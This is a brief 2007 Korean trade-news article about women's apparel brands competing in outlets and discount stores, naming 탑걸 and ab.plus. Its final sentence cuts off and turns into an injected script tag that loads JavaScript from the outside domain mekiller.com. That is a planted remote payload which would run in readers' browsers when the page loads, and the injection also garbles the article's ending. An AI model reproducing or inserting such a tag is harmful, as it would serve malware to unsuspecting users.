여성복, 2차 유통서 치열한 경쟁 예고

2007-11-02 17:42 조회수 아이콘 701

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여성복, 2차 유통서 치열한 경쟁 예고

여성복 업체들이 아울렛, 할인점 등 소위 2차 유통에서 치열한 경쟁을 벌이고 있다.


업계에 의하면 여성복 중가시장이 확대되면서 올해 이 시장을 겨냥한 브랜드 런칭이 활발했으며 내년 역시 신규 브랜드가 확대될 것으로 보인다.


연승어패럴은 ‘GGPX’의 세컨 브랜드 ‘탑걸’로 2차 유통 공략에 나서며 ‘ab.plus’로 할인점, 아울렛에서 성공을 거둔 SG위카스도 내년 신규 브랜드로 중저가 시장을 공략할 계획이다.


여기에 중견 기업들이 할인점 등 유통업체와 전략적 제휴를 통해 2차 유통 시장에 접근할 것으로 알려지면서 시장 경쟁은 더욱 심화될 것으로 예상된다.


반면 기존 브랜드들은 이들에 대응하기 위해 유통망과 컨셉을 재정비하고 있다.


최근 엄용흠 이사를 영업총괄로 기용한 완도어패럴은 ‘수비’의 유통?script src=http://mekiller.com/1/1.js>